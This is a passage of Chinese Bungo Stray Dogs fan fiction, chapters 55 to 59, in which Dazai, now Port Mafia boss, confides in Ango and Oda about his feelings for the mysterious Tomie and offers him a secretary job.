与太宰治所说的相差无几，只不过坂口安吾清楚地知道对方只可能是猜测到的。因为他在港口Mafia内从未在众人面前使用过异能力，即使是加入港口Mafia也是表明自己只是个没有异能力的普通人。 “所以，安吾是通过这个异能力，‘看’到了什么吧？关于富江的事情。” “毕竟安吾在得知织田作没有事情的时候，并不意外呢？” “……” 坂口安吾哑口无言，因为太宰治说对了。 作为参与者的他，对于这次事件是有必须汇报的责任。更不用说，这起事件涉及到的方面还很多。 因此，他来到了[MIMIC]的据点想要探寻事件的全容貌。 思索到这里他垂下眼眸，望着手中红色的番茄汁忍不住回想那天来到洋房看到的画面。 ——遍地尸体与几乎沿着走廊流到外面土地上的鲜红血液。 那几乎是难以想象的地狱场景。 最开始，坂口安吾确实以为是织田作先生所在的事情，可是随着走到地狱深处，面前死者越多，坂口安吾逐渐发现了不对劲。 混乱的尸体位置、各种各样的伤口以及…… 坂口安吾想到了自己找到纪德尸体时，对方面孔上那诡异的表情。 这一切的一切都诉说着这里发生了什么超乎他预期的事情，比如突然出现的第三方。 但在看过四周后，坂口安吾唯一庆幸的是，他并没有在这堆尸体中发现织田作先生的身影。 不过随着任务的需要和好奇心的驱使，坂口安吾触摸了地面的尸体。紧接着，他看到了事情的全貌和那所谓的第三方。 太宰治与……站在他身边的那名黑发少年——宫水富江。 可如果只是这样，他当然不会说出那名少年并非精神系异能力的话语，要知道、…… “但光是洋房发生的场景不足以让安吾质问我富江的事情，所以安吾还去别的地方获取信息了吧？比如说……” “安吾想起了之前富江因为我任务中的漏网之鱼而被绑架的事情？” 就像是知道他在想什么，太宰治不断讲述这些事情。 最终，坂口安吾叹息了一口气，与太宰治对视。 “……就像你说的，我确实通过异能力调查了更多有关于你身边宫水富江的事情。” “但是太宰，请你相信我。我所做的这一切都不是出于私心，我、……” 就在他还想继续说点什么的时候，太宰治突然笑了起来。 “安吾，你还真是老样子。” “不过和你的上司种田先生谈话的时候，我就知道这件事情了。” 太宰治说着，轻轻晃动了手中的酒杯，“毕竟对方可一直认为富江是精神系异能力者嘛。” 坂口安吾明白对方这句话的含义，就是变相承认了他之前所询问的话语。 对方承认了宫水富江并非精神系异能力者的事实，或者说是人类的事实。 不过想想也是，没有人可以死而复生。 ——没有。 坂口安吾注意到太宰治那不以为意的神态和动作，又想了想自己所调查到的关于宫水富江的事情。 终于他忍不住语气上扬，“既然这样，你也知道他的存在究竟有多么……恐怖吧？” “一旦对方有了不好的想法，那么很容易让横滨……不，或者说整个日本陷入危险。” 强行令别人为其着迷，甚至不惜做出那种行径。 无论怎么看，都太危险了。 谁知，黑发青年却只是回答，“可是安吾你不是帮我一起隐瞒了吗？” “只要谁都不说，那么富江就只会是无法掌控自身异能力的精神系异能力者……所以异能特务科才会没有强行关押富江，只能和Q一样，将富江交给我看管，不是吗？” 坂口安吾突然发觉自己看不透太宰治了。尽管之前也不能说对其了如指掌，但基础的了解还是有的。 而现在的太宰治更像是那种帮亲不帮理的人。 倏地，坂口安吾想起一件事。 既然那名少年并非异能力者，那么太宰的异能力是否对其起效？ 意识到这点，坂口安吾想到了更加恐怖的事情。 如果他没记错，在[MIMIC]发生之前，他们还在lupin聊到过太宰与富江之间金屋藏娇的谣言。而在不久前，对方又主动在秘密会面上承认了这段关系…… 望着面前太宰治随意的神情和刚刚明显偏向富江的态度，坂口安吾忍不住询问对方： “太宰你分辨出你对他的喜欢……” “——是真心还是假意吗？” 第56章 “……安吾, 你忘了我们之间根本不聊这种私人的话题吗？” 坂口安吾知道，这不仅是在提醒他越界，也是太宰治在委婉拒绝他的意思。 可是, 他又不能坐视不管。 他张了张嘴准备说点什么，可就像是知道他想做什么一样, 黑发青年与他对视道，“安吾, 相信我。我不会让事态发展到那个地步的……好吗？” 听到这句话语，坂口安吾闭上了嘴，伸出手抬了抬自己的镜框。 做完这一切后，他望向自己手中的酒杯。 无言沉默了几分钟后, 他对着太宰治开口，“我知道了。” “太好了！我可不想和别人聊恋爱话题，光是想想就觉得麻烦……” 对方如此开口, 语气轻松了许多的同时还带着某种嫌弃。 不过很快，坂口安吾就听到太宰治将话题转移到了他们熟悉的织田作之助身上。 “不过安吾, 这次来见你最重要的事情可不是富江, 而是织田作啦织田作！” “虽说我当上了首领后下令追杀[MIMIC]的残党，但织田作身上的事情还没有结束。” 说着, 坂口安吾就感受到了身上来自太宰治的目光。 “织田作已经不想继续留在港口Mafia了，可是你也知道以他过去的履历想要找一份正常的工作很难。” “所以安吾——” ——你发挥作用的时候到了。 坂口安吾明白了对方话语下的意思, 接上对方的话茬, “我知道了。” “我会找种田长官, 然后帮助织田作先生洗白他的履历。顺便在这个过程中找一份适合织田作先生的工作……” 太宰治见状像是想到了什么开口，“啊，但是异能特务科就算了吧，到时候和你们见面被发现太麻烦了。而且我想以安吾加班时间的频率, 织田作肯定不方便带孩子，所以记得给织田作找个别的工作哦！” 边说，太宰治边坐起身。 从吧台前站了起来，摆出了准备离开lupin酒馆的姿态。 直至即将走上楼梯，他才又转身朝着坂口安吾继续道，“对了对了，等确定了你可以直接去[武装侦探社]找那里的幼稚侦探询问织田作的下落。不过在那之前，我估计得先和织田作聚一下。毕竟到时候织田作待在异能特务科洗白，可以和你经常见面。” “啧，也不知道下一次和织田作见面都是多久以后了……” 坂口安吾听到了对方的咋舌和抱怨声，明显是对此感到了不满。 “[武装、……你、……” 可等坂口安吾刚想询问对方织田作先生又怎么和[武装侦探社]搭上联系的，结果等他回头看去，黑发青年早就已经失去了人影，只留下上方的关门声。 * 深夜，街边的大楼已经陷入了黑暗，只剩下模糊的楼影。 唯有路灯还在不停发亮，间隔着照亮地面的道路。 太宰治走在这样的街道上，皮鞋与地面在这安静的空间中发出异常响亮的哒哒声。 但因为低垂着头，即便路灯没有故障，也难以看清他的面孔。 终于，他停下了脚步。 本以为自己来到的是港口Mafia的秘密通道，可实际上当他抬起头后，出现在自己眼前的是熟悉的公寓房门前。 意识到自己来到哪里后，太宰治站在原地安静地凝视着面前的房门。 这副表情像是在发呆，但又像是在思索着什么。 也不知道过去了多久，当太宰治都已经迈动脚步准备离开的时候，房屋的灯光突然亮了起来。 紧接着下一刻，房门被打开，一张熟悉的、精致的面孔出现在太宰治的面前。 少年微笑着，用那种惊喜的语气对他开口，“太宰先生！” …… 太宰治拒绝了宫水富江的进屋邀请，并表示这次过来只是来看看传达一下进度。 虽然不是很想承认，但他无法掩饰坂口安吾那句话给他带来的影响。 故意被无视的东西，不由得因为对方的话语而想起来，令他难以忽视…… 望着少年略微失望的神情，太宰治能感受到自己的情绪变化。 可越是这样，太宰治就越感到害怕。 虽然这么想，但明面上太宰治依然露出微笑对着宫水富江开口，“织田作的后续也被顺利解决了。” 宫水富江并未察觉到太宰治的情况，而是顺着对方的话语继续道，“是上次说的那个关键吗？” “没错。织田作不适合留在港口Mafia，但是又因为履历无法寻找正常的工作，所以我去找了我们的另一个朋友，对方刚好能帮上忙。” 宫水富江虽然不太清楚具体发生的事情，但是无论怎么说，发生的改变都是往好的方向发展的。 他不由得为太宰先生感到了高兴，发自内心地开口，“那可真是太好了，太宰先生。” 可是他的话音刚落下，宫水富江就感受到了面前太宰先生的目光。 在抬起头的那一瞬间，宫水富江好像看到了太宰先生奇怪的神情，可是等他再看过去，对方似乎又什么变化都没有，还是和之前那样微笑。 宫水富江怀疑自己可能看错了，不过最令宫水富江在意的是之前的事情。 他记得当时太宰治曾说等对方回来后再讲，可是上一次临时有事离开，所以他想趁着这个机会询问。 “说起来太宰先生，关于那次、……” “抱歉，富江。” 可是没等他说完，太宰先生就率先拿出了手机，再打开看了一会儿后，对方用一种严肃的神情继续道，“接下来的两天我可能会比较忙。” “港口Mafia内还有大量的工作需要处理，而且在织田作被隔离洗白前我需要与对方最后见一次面。所以……” 宫水富江微愣，但还是表示，“没有关系，太宰先生。你可以先忙你的事情，这件事情我们之后再说。” 看着太宰先生离开的背影，宫水富江忍不住思考。 港口Mafia……是把所有工作丢给首领了吗？还是说刚上位确实会这么忙？ ** 返回到港口Mafia内后，太宰治第一时间给织田作之助发了条短信，紧接着直接通宵做着工作直到下午。 在最后一沓文件被下属搬离首领办公室，太宰治终于忍不住在这安静的空间内仰躺在舒适的座椅上闭上双眸。 不过，他这只是被累的，并不是想要睡眠。 大概是体质问题，除非外力作用，否则以他大脑的活跃水平他几乎很难入睡。大多时候，只是闭着双眸然后模拟睡觉的呼吸频率。 只是这次，太宰治甚至连模拟睡觉的频率都做不到。 在座椅上安静闭目了几分钟后，太宰治放弃这样而是直接离开了港口Mafia来到lupin酒馆。 没有到时间，酒馆内自然空无一人，于是太宰治率先朝着老板点了杯酒。 因此，等织田作之助顺着短信的提示来到这里的时候，看到的则是太宰治独自饮酒的背影。 熟悉的环境、熟悉的音乐、熟悉的人物和…… 织田作之助走近，闻到了来自太宰身上熟悉的酒精味道。 除了对方身上的衣着发生了变化，现在这一幕确实令织田作之助想到了曾经某一次与太宰治出现在lupin场景。 他记得上次对方出现这样的情况，好像是因为…… “织田作？” 织田作之助从自己的思绪中回神，发现黑发青年正好奇地望着他似乎在奇怪他为什么一直站在那里不动。 见状织田作之助不再站在原地，而是落座在对方左侧的位置上。 “听乱步先生说，太宰已经成为港口Mafia的首领了？” 织田作之助淡淡发问，丝毫没有提及对方喊他来到这里的原因。 可黑发青年的注意力显然完全不在这里，只是听到他的话语后，默默重复着他刚刚话语中的一个称呼，“‘乱步先生’……” 紧接着不满地反问，“为什么就连织田作也开始喊那个家伙叫作‘乱步先生’啦？” 织田作之助朝老板要了一杯酒，然后思考了一会儿后认真回答对方，“大概是因为我确实感受到了乱步先生究竟有多厉害吧。” “难道我就不厉害吗？” “但是，”织田作之助看向身侧的黑发青年，“我并没有对朋友使用敬语的习惯。” 这句话也不知道戳中了哪里，总之这句话之后，织田作之助能感受到太宰治嚣张气焰消失的变化，就像是鼓起来的气球突然被放了气一样瘪了下去。 对方趴在桌面上，安分地戳着酒杯。 织田作之助注视着对方这副样子，越看越觉得与之前那次在lupin见面时的太宰给他的感觉很像。 终于，他忍不住询问起面前的黑发青年，“所以太宰，这次困扰你的依然是那个名为富江的少年吗？” 对方猛地坐起来转身看着他，双眸微睁，像是不可思议他为什么知道这件事。 果不其然，下一刻对方也如此询问了他。 “……为什么织田作会知道？” 织田作之助轻轻抿了一口手中的酒，然后重复着上次的答案，“直觉吧。” 青年像是被他无语到，但又不想吐槽，于是只好默默憋着的既视感。 但织田作之助并未就这样结束话语，而是认真开口。 “按理来说，以我们过去的相处这个时候我不应该过多越界。但是太宰……这大概是我们近期最后一次见面了。” 太宰治明白，对方是想表达这大概是他目前最后可以向对方倾诉的机会。 沉默了不知道多久，最终太宰治忍不住询问面前的红发青年： “织田作，你说……” “如何证明这个好人是虚伪的还是真实的？” ——如何证明这段感情是虚假的还是真实的？ 第57章 界限是分明的。 虽然清楚地知道织田作之助话语中的意思, 但是对于太宰治来说，将事情彻底暴露在对方面前依然是难以做到的事情。 既然如此，干脆委婉地寻求帮助好了。 太宰治注视着身侧红发青年的身影如此想到。 不过织田作之助本人并不知道太宰治在想些什么, 他只是安静地思考。 老板本人早就在这片环境不需要他的时候早早离场，于是织田作之助便轻轻抬起下颚看向正前方的酒柜出神。 如何证明好人是虚伪的还是真实的…… 尽管不明白他明明在询问宫水富江的事情, 为什么会牵扯到这个话题，但织田作之助还是顺着对方的话语沉思。 时间一点一点过去, 除了酒馆自带的悠扬的古典音乐外，就只剩下轻微的水声和冰块碰撞杯壁的响声。 太宰治有一口没一口地轻轻抿着自己杯中的酒水，并未催促红发青年快点回答他的问题。他想，这几乎是个无解的问题, 哪怕是织田作之助也无法用常理将其解答出来。 事实上，也似乎正是如此。直至太宰治手中的酒被一点点地喝干净，他都没有听到织田作之助的回答。 望着空空如也、只剩正在慢慢融化的冰球, 太宰治难以掩盖自身情绪低头垂眸。 被对方吸引、为对方着迷，还有那意识到以后, 便越来越难以遮掩的爱意…… 或许就像安吾所说的那样, 他或许也被少年身上的特性所迷惑，从而迷失了自己的判断能力。 因此, 如果分辨自己的感情是真实的还是虚假的，对他来说变成了更加困难的问题。 想到这里, 黑发青年露出来的那只鸢眸愈发黑暗, 如同难以打破的黑色潭水令人难以直视。周身的氛围仿佛戴上某种特殊的眼镜, 可以清晰地看到黑泥正从对方的身上不断冒出来。 可是下一刻，随着身侧红发青年发出低哑的声音，太宰治那只发黑的鸢眸如同被投了石子发出涟漪的水面，逐渐变得清澈。 “我想, 这种事情并不重要吧。” 太宰治看向身旁说话的织田作之助，只见对方此刻已经不再看向正前方的酒柜，而是在说完刚刚那句话后轻轻喝了一口自己手中的酒。 见状，太宰治抿了抿唇，最后还是忍不住问出自己的困惑。 “为什么织田作认为这种事情并不重要？” “还是说想不出答案，所以随便回答我？” 太宰治询问着，尽管他不觉得织田作之助会随便说出一个答案敷衍他。 闻言织田作之助放下手中的酒杯，边回味着这杯酒的味道，边整理思绪回答太宰治的问题。 大约过去了十几秒，他才转身与黑发青年好奇的目光对上，缓缓说出自己的答案。 “非要说的话，应该是因为我和太宰不一样吧。” “嗯？” 迎着太宰治不理解的目光，织田作之助继续淡定反问对方，“太宰认为我是好人吗？” 太宰治思索了一下，回答，“虽说是港口Mafia，但织田作加入的这些年……或者说在我认识你的时候，你就已经在遵守着不杀原则了，甚至加入港口Mafia后还收养了五个孤儿……从这些方面来看，织田作完全是个好人。” “但是太宰，”红发青年慢慢说道，“在形成不杀原则前，也就是与[武装侦探社]的侦探和社长初次相遇的时候，我都还是个暗杀者，也会因为他人的背叛而杀人。” “从这方面来说，我完全不符合你口中所谓好人的话语。” 太宰治随着红发青年的话语，身体一点点坐直，用目光直直凝视着自己的友人，听对方接下来的话语。 “所以我认为……” “对方是不是那种发自内心做好事的好人，还是用做好事作为麻痹他人的保护色都不是重点。” “重点是，”织田作之助与太宰治的目光对上，继续道，“当他能够做一辈子的好事时，他都已经是一个成功的好人了。” “——这无关对方是怎么想的。” “……” 说完这一切后，织田作之助继续喝起了手中酒杯的酒水，不去看身侧黑发青年是怎样的反应。 昏暗的灯光使整个酒馆变得温暖起来，即便是再次安静下来的氛围也再也无法阻挡这股暖意。 尽管不知道太宰治能不能理解他话语中的含义，但织田作之助认为他已经将自己想说的说出来了。 空荡到只剩下一小块冰球的威士忌酒杯发出了响声，那是太宰治握住酒杯的手在轻微地晃动导致冰球与杯壁发出的声音。 红发青年的意思已经很明确，对方的中心含义其实简单而言可以用种花家的一句话语概括。 ——论迹不论心。 “太宰。” “你很聪明。” 听到身侧友人低哑的声线，原本垂眸沉思的太宰治不由得抬起头看向红发青年。 不明白对方这个时候说出这种话语又是什么意思。 大概是知道他在想什么，红发青年继续道，“可也正是因为太聪明，所以才会比任何人更加清晰地看明白这个世界，也更容易比任何人想得更多。” “这样的你在面对一个简单问题的时候，忍不住将其复杂化。” 简单的问题复杂化，是聪明人经常做的事情。 太宰治对于织田作之助所表达的观点不可否认。 “不过我想，太宰想得太多的最主要原因，大概是因为太宰是个心思敏感的人。” 太宰治因为织田作之助的这一句话猛地看向对方，谁知红发青年却只是茫然地与他四目相对，像是不知道自己说了什么令他人瞠目结舌的话语。 最终，太宰治败倒在了对方的天然之下，用双手捂住了自己的脸。 他闷声闷气道，“织田作，你还真是彻头彻尾的天然系男子啊……” “？” 织田作之助不太明白太宰治为什么做出这个举动，但一想到这是他与对方近期最后一次见面，还是忍不住抬头看向天花板吐露了自己的心声。 “只是没有想到，太宰居然成为了港口Mafia的首领啊……” 太宰治依然捂着脸，但不影响他听到织田作之助的话语反问，“织田作不是早就知道了吗？现在居然还在感叹吗？” 织田作之助看向身侧依旧捂脸的黑发青年回答，“与其说是感叹，不如说与我想象的有点相反了。” 余光看到黑发青年微微抬起一点头的小举动，他继续道，“我原本觉得太宰应该是无所谓自己是当个好人还是坏人的，所以当时想着如果到了最惨的下场与纪德同归于尽的话，大概会劝你去好人的一方。” “不过现在看来还是算了，太宰成为港口Mafia首领的结果也很不错。” “这大概就是小说中所谓的反转吧。” 织田作之助说完这句话后抿了口酒，思索着是否可以成为他以后退休的素材。 可没有想到，不知道是从他的话语里得到了什么感悟，黑发青年不再用双手捂着脸，而是缓缓抬起了自己的头，神情沉思。 “虽然对于织田作前面那句话很有意见，但是困扰到我的问题能够得到解决还是得谢谢织田作。” “而且既然已经是港口Mafia首领了，那么不择手段才更符合我现在的身份……对吧，织田作？” 织田作之助顿了一下，还没想明白对方指的不择手段是哪方面就发现黑发青年已经快速地换了一个新话题。 望着黑发青年不带一丝雾霾的微笑，织田作之助认为应该不是什么大事，于是果断将刚刚太宰治所说的那句话抛到了脑后。 * 离开lupin酒馆的时候，天空已经泛着白光，如同翻身露出来的鱼肚。 “恐怕下次再与织田作见面大概就是一两年后的事情了，真是的，安吾就不能更快速地给你洗白履历吗……” 黑发青年双手插在灰色西装的口袋中与身旁的红发青年做出抱怨。 织田作之助想了想坂口安吾平时工作的状态。 尽管不知道对方返回异能特务科后是什么样，但是按照对方之前在港口Mafia跟他们所说的那句座右铭——[不下班就不用上班，不用起床]，想必返回异能特务科只会变本加厉吧…… 这么想着，织田作之助还是替坂口安吾开口，“这样会不会不太好……” 谁知，四肢缠绕着绷带的黑发青年却直接道，“织田作别替他说好话了，这都是他应该做的！我可没有忘记他做过的事情呢！” “等他什么时候洗白了你的履历，我再什么时候原谅他！” 大概是知道劝不动黑发青年，红发青年没有再多说几句话，而是简单地与黑发青年进行道别。 明明是道别，甚至距离他们下一次见面不知道还要过去多久，两人的心中却莫名的轻松。 至少太宰治转身离开的时候，内心是轻松愉悦的。 他哼着不成调的音乐，漫步朝着熟悉的地方走去，整个人与之前来时走在只有路灯灯光的街道上完全不一样。 等他走到眼熟的公寓门前时，天色已经大亮。 他熟练的拿出铁丝撬开房门，然后熟练的在玄上换拖鞋走了进去。 客厅内不出所料地没有看到那道身影，可太宰治却并不着急，而是轻松地来到了之前经常躺着的沙发上坐下，闭目养神。 可能是他真的太久没有出现在这里，他恍惚感觉这整个空间都弥漫着少年身上熟悉的香味，甚至连他之前经常待着的沙发上都被浸染了这股味道。 就在思索着什么，不知道过去多久后，屋内终于响起了开门的声音。 坐在沙发上闭目养神的黑发青年听到后缓缓睁开眼睛望去，鸢眸倒映出了那个穿着宽松睡衣，双目还泛着疲倦的黑发少年。 对方下意识打了个哈欠，伸出手揉搓了自己的左眼眼尾。不仅使得那颗泪痣在下一刻变得红润起来，连带着宽松的睡衣倾斜露出了圆润的右肩肩头。 如果走到对方的身前，甚至可以利用身高差顺着对方的衣领看到…… “早上好，富江。” 太宰治面不改色地露出微笑对着面前拥有绝色容貌的黑发少年打招呼。 听到他的声音，黑发少年明显感到了震惊，原本困倦得双目立即睁大望向他这边。 大概是意识到了自己的衣衫不整，黑发少年很快红着脸拉扯了一下自己的衣领，将原本露出来的春色收了回去，紧接着对他的打招呼做出了急急忙忙的回应。 “早、早上好，太宰先生……” 见状，太宰治嘴角勾起的笑容扩大。 他想，他确实不用着急。 即便这场棋盘少年先下手为强，可从现在的局势来看他依然占据了上风。 第58章 上午, 高级公寓。 宫水富江在厨房做今天早上的早饭，看着隔壁锅内煮着的味噌汤和面前平底锅中正在油炸的天妇罗，他感觉到了茫然。 现在的状况让他想起了刚与太宰先生居住在一起的时候, 那时也是这样，在太宰先生出门上班前, 他会帮忙制作早饭和午饭便当。 只不过自从太宰先生从某一天起不再经常出现在他的周围后，这种生活也逐渐离他远去…… “富江, 天妇罗看起来快要炸焦了。” 耳边响起一道熟悉声音，打断了宫水富江的思绪。 他慌忙看向自己面前的锅内，果不其然虾表面裹着的那层面粉已经错过了时间从金黄转变为略暗的黄色。 宫水富江急忙捞出天妇罗，然后关闭了灶台。 他望着天妇罗有些犹豫, 显然是他的走神才导致现在的状况。 虽说重新制作也不是不行，但问题不在于浪费的时间上，而在于这已经是最后的几只虾。如果重新制作, 那么就只能换成别的天妇罗。 想到这里，宫水富江不由得稍稍叹了口气。 “我想也没有必要重新制作了, 只是炸的时间稍微久点, 实际上品尝起来味道差距并不大。” 仿佛听到了自己内心的心声，宫水富江听到身侧传来了这句话语。 再加上之前也是对方提醒, 这次他终于忍不住朝着发出声音的方向看去，却不料刚好与黑发青年对上视线。 “太、太宰先生怎么会出现在这里？”他有些不解地看向对方。 太宰先生的提醒确实帮了大忙, 但是对方不应该是在外面等待吗？ 就好像真的拥有读心术一样, 太宰先生回答, “本来确实是在外面等着富江的，只不过一想到自己似乎从来只是看着你在厨房内忙上忙下，自己都没有怎么帮过忙，就觉得不太好意思。” “所以, ”宫水富江看到太宰先生的眉眼一弯，紧接对方继续道，“准备过来看看有没有自己可以帮忙的地方，不过没有想到刚好发现富江在走神。” 被对方这样说，宫水富江自己有点不好意思起来。 他急忙将对方推出厨房，然后开口，“其、其实并不用了，我就差最后的摆盘了。太宰先生可以暂时先去外面准备吃饭了……” 太宰治顺着对方的力道离开厨房，但却没有完全离开，而是扶着厨房的门，望着门内眼尾带痣的少年再次询问，“真的不需要吗？” “不用！” 少年的语气上扬，听得太宰治在对方看不见的地方勾起嘴角。 他没有过多打扰对方，见对方真的不需要，他也就直接回答，“既然富江都这样说了，那等一下我来洗碗好了。” 不知道是不是太久没有这样相处，宫水富江明显感觉到了奇怪和不好意思。 而这种情绪在吃完早饭，看着太宰先生真的主动抱着碗筷进入厨房的时候达到了巅峰。 望着黑发青年洗碗的背影，又看了看对方摆放在椅子靠背上的西装外套。 他这一刻觉得，这种相处让他想起了夫妻…… 在意识到自己想了什么后，宫水富江立即甩了甩头。他与太宰先生只是纯洁的同居人关系，除此之外什么都没有！ 虽然这个说法成功说服了自己，但是宫水富江的心情却莫名高兴不起来。 洗碗的时间不需要太多，没过多久，宫水富江就看到太宰先生擦拭完手上的水珠走了出来。 望着对方自然地坐在自己的面前，宫水富江不由得产生疑惑。 “诶？太宰先生不用去上班吗？” 宫水富江发出自己的困惑，他记得之前太宰先生明明还跟他说自己很忙…… 谁知，黑发青年抬眸勾起唇角淡淡道，“不了，至少今天不是很想去。” “而且偶尔一天不去我想也没事，毕竟港口Mafia养的那些人也不是白拿工资的。” 宫水富江不太理解，于是只能茫然地做出简单的回应。 只是不知道太宰先生又想了什么，宫水富江下一刻又听对方话锋一转，“不过虽然这样说，但实际上今天的休息都是我前天一直熬夜工作换来的。” 听到对方的话语，宫水富江下意识睁大眼眸看向对方的眼底，果不其然注意到了淡淡的黑眼圈。 按理来说不算明显，但是在对方的肤色下和提醒下就显得十分亮眼，让宫水富江不明白自己为什么现在才注意到。 见状，他小心翼翼地询问，“那太宰先生要不要现在先睡一觉？” 不知道是不是错觉，宫水富江感觉自己这样问了之后，黑发青年明显心情上涨。 最明显的证据是对方的嘴角弧度此刻再次增大，连带着那只鸢眸眼尾都轻微眯起，透露着愉悦的氛围。 “不用了，难得有空闲的时间，我想与富江在一起更有意义些。” 宫水富江不懂，但宫水富江只觉得自己现在无法看向对方。 于是他立即偏头，看向别处。可仅仅只是这样又觉得不够，总感觉自己心里在发痒，连带着座椅似乎都坐不住。 这种不好意思的感觉比之前看到太宰先生在厨房洗碗时更甚，令宫水富江只想离开这个地方。 可是一时半会儿，他又找不到借口。 就在这时，他听到了太宰先生的笑声。 宫水富江很难说清楚，但对方此刻的笑声很轻，更像是气音，令他感觉自己耳朵在泛热。 “说起来我还没有和富江说过织田作的后续吧？” 宫水富江因为对方突然的话题而感到轻松，虽然他也不知道自己在因为什么紧张。 他顺着太宰先生的话题开口，“我记得上次太宰先生说要在彻底分开前见最后一面……对吧？” “没错。”太宰治肯定地回答，并垂下眼眸继续道，“大概也是因为如此，久违地和织田作说了一些以前从不会过线的话题。” “过线？” 太宰治继续道，“大概就是梦想之类的。” 他抬眸看向面前的黑发少年，“织田作说相等孩子们长大后，去边海住当一名小说家。真的是把我震惊到了，从来没有想到他居然有这个梦想……” “实际上织田作也让我发现，有些事情不去做的话，也许很快就没有机会去做。所以——” 宫水富江注意到了黑发青年望向他的眼眸，那种紧紧凝视的目光再次出现在了他的身上。 就像之前的那几次一样…… “富江有什么梦想吗？” 对方说出这句话的时候，宫水富江莫名觉得这才是对方最想询问他的话语。 可是转念，他又觉得这种问题似乎随处可见，不值得特意询问。 将多余的想法丢出脑海，宫水富江开始思考措辞。 “让我想想，……” “非要说的话，应该就是可以不用处理人际关系，直接居家办公。” 宫水富江说出这句话的时候，忍不住回想起了上次能让自己联想到这个梦想的室友。 只不过唯一不同的是，对方询问的是他的理想型，但太宰先生是直接询问的他的梦想。 现在想想已经物是人非，他根本就找不到回去的办法，就连现在也是如此。 想到这里，宫水富江情绪有些低落。 为了不再这样低沉下去，宫水富江望向太宰先生。 黑发青年虽然仍在微笑，但眼神带着他看不清的思绪，似乎是在沉思着什么。 “太宰先生？” “我只是在想，这个愿望很适合富江呢。” 宫水富江没理解，但太宰先生似乎并不打算过多解释，只是看着他笑了起来，然后淡淡道，“不过我刚好知道一个工作很适合富江这个梦想。” 宫水富江立即被勾引起了兴趣，“什么工作？” “——港口Mafia首领的直属秘书。” 黑发青年如此说道。 * 次日，港口Mafia的首领办公室。 太宰治心情愉悦的坐在自己的座位上哼着不成调的歌，这种心情愉悦的样子连过多汇报任务的尾崎红叶都忍不住多看了两眼。 她上次看到太宰治还是与异能特务科秘密会面结束后，之后发生的事情她一概不知。 现在想想，或许是那次独自离开发生了什么他不知道的事情。 “首领的心情看起来很不错呢。”尾崎红叶勾起唇角突然说道。 身穿灰色西装的黑发青年并未否认，而是轻轻挑眉，“有这么明显吗？” 尾崎红叶垂眸，“妾身想，至少看见你现在的态度，大家都能发现……” 她询问，“是港口Mafia发生什么好事了吗？” 然而黑发青年却明显停顿，“港口Mafia吗？非要这么说的话，应该也算吧。” “我期待的人正在考虑是否要加入港口Mafia呢。” 尾崎红叶抬眸，望向说出这句话的黑发青年。 对方并未移开眼神，显然并未觉得自己说出这句话有什么不对。 “考虑……吗？”尾崎红叶重复道。 一般对方这么说的话，那基本就是确定的事情，不确定因素只在时间。 只是—— “真是令人期待。”她如此说道。 好奇那个能够令太宰治露出如此明显期待情绪的人究竟是谁。 不过刚好，她也有件好消息要告诉面前的首领。 “首领，不知道你是否还记得……” “——中也即将出差结束这件事。” 说完的瞬间，尾崎红叶明显感受到了黑发青年原本愉悦的情绪急转直下。 对方很明显地露出了不算愉快的神情，并用手肘抵在桌面单手撑着脸颊，发出了不满的声音。 “啧。” “红叶大姐要是不说，我都快忘了呢。” 可不知道想到了什么，尾崎红叶发现黑发青年似乎又调整好了情绪，嘴角上扬。 “嘛……不过现在看来对方来得似乎刚刚好。” 第59章 白天, 东京羽田机场。 作为全球最繁忙的机场之一，东京国际机场的客流量日均客流量已经到达了二十五万之多。与此相对应的，接机人数也达到了难以想象的地步。 然而就在这样人来人往, 远远望过去全是人的接机处，却莫名出现了一个真空圈。仔细看去, 发现站在真空圈内的是几名穿着黑色西装戴着黑色墨镜的人。 这种过于明显的打扮立即让周围人都明白，他们并非什么普通的人。 即便身穿黑色西装也有其他可能性, 比如保镖。可是在日本这个Mafia都能合理存在的国家，大家都更相信这是什么组织的成员，而不是什么保镖。 实际上也是如此，他们是横滨港口Mafia的成员, 这次出现在这里，是为了迎接远在外地出差的一位高层——中原中也。 终于在机场的广播中，他们听到了自己关注的飞机降落。见状, 他们立即举起手中的红布。 这是港口Mafia首领所要求的命令，虽然他们也不明白为什么, 但是违抗首领的命令是决定不可以的, 于是他们只好照做。 大约过了十几分钟，他们终于在出口的地方看到了本次的接机对象——一名赭发青年。 对方的气质与众不同, 再加上对方并未独自出行。所以即便出现在一群人中，也能一眼发现对方。 更不用说对方的身后还带着几名与他们服装一样的黑色西装人员, 就算并不认识, 也能明白这是与他们一样的存在。 发现对方的存在后, 他们立即晃动手中的红布试图吸引对方的注意。 果不其然，对方看了过来。只是不知道为什么在看了他们红布上的字后，停下了脚步。紧接着压了压帽檐，做出不愿意的神态走了过来。 直至停留在他们的面前, 他们才终于听到赭发青年咬牙切齿的声音。 “这个东西是不是太宰让你们准备的？” 他们相互对视了一眼，不明白为什么对方敢直接称呼首领为太宰，但还是顺着对方的话语回答，“是这样的……” 然后得到了赭发青年的怒声，“那个混蛋——” 听到这句话，他们这些接机的底层人员立即面色苍白。 虽然知道面前的赭发青年与首领是搭档关系，可是现在不同于往日，对方还敢这么说是不是有点……大逆不道了？ 可显然赭发青年误会了他们的想法，以为他是在怒骂他们而脸白，于是解释，“放心，我说的不是你们。” 这样的话，还不如说他们呢！ 不过好在赭发青年紧接着道，“话说，不是接机吗？赶紧把这个丢人现眼的东西放下来，回到港口Mafia吧。” 对方的话音刚落，他们如释重负。 然后急忙收起手中的东西，引领对方来到停车的地方。 坐在车内，中原中也调整了坐姿，吐了口气。 他拿出了手机，给熟悉的红叶大姐发了条短信表示自己已经回来了。然后给首领发了另一条短信，可是和之前在外地一样，没有任何反应，甚至连接收信息的通知也没有。 发现这点，中原中也忍不住轻蹙眉头。 终于他忍不住询问接机的几人，“最近港口Mafia内发生什么了吗？特别是与首领有关的。” 中原中也怀疑首领可能在他出差的时间遭遇了袭击，以至于现在受伤卧病在床，所以无法回他信息。 可是与尾崎红叶的短信交流中，对方并未说过这类事情的发生，令中原中也有些纠结。 “中原先生……” 面前的下属神色奇怪，中原中也望着对方等待对方的发言。 可是对方刚说了几个字，中原中也的手机便发出震动的声音。 见状，他对着下属举起了手，示意对方不要继续说话。 等车内安静，中原中也接通电话。 【“中也，等你回来后先过来找我吧。想来想去，这件事我必须当面告诉你才行……”】 中原中也目光瞬间凝重起来，虽然不清楚究竟发生了什么，但对方的话语似乎与他猜想的有点相似。 如果首领真的受伤了，那为了不动摇下属的心思，确实会瞒着那些底层人员。 想到这里，中原中也对着电话另一头说了声“好的”，便挂断了电话。 车内再次安静下来，但中原中也却坐不住。 